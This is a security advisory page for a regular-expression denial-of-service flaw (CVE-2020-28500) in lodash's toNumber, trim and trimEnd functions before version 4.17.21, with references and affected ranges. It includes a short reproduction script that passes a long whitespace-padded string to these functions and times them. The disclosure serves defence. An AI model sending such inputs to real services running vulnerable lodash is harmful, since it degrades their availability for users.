GHSA-29mw-wpgm-hmr9

    Dashboard / Vulnerabilities / GHSA-29mw-wpgm-hmr9

    GHSA-29mw-wpgm-hmr9

    Published: 6 Jan 2022Last Modified: 29 Sept 2025

    Summary: Regular Expression Denial of Service (ReDoS) in lodash

    Details: All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```

    References: https://nvd.nist.gov/vuln/detail/CVE-2020-28500, https://github.com/github/advisory-database/pull/6139, https://github.com/lodash/lodash/pull/5065, https://github.com/lodash/lodash/pull/5065/commits/02906b8191d3c100c193fe6f7b27d1c40f200bb7, https://github.com/lodash/lodash/commit/c4847ebe7d14540bb28a8b932a9ce1b9ecbfee1a, https://www.oracle.com/security-alerts/cpuoct2021.html, https://www.oracle.com/security-alerts/cpujul2022.html, https://www.oracle.com/security-alerts/cpujan2022.html, https://www.oracle.com//security-alerts/cpujul2021.html, https://snyk.io/vuln/SNYK-JS-LODASH-1018905, https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893, https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895, https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892, https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894, https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896, https://security.netapp.com/advisory/ntap-20210312-0006, https://github.com/rubysec/ruby-advisory-db/blob/master/gems/lodash-rails/CVE-2020-28500.yml, https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8, https://github.com/lodash/lodash, https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf

    Affected packages

    Package

    Name: lodash

    Purl: pkg:npm/lodash

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 4.0.0
    Fixed -4.17.21

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-29mw-wpgm-hmr9 | CVE-DB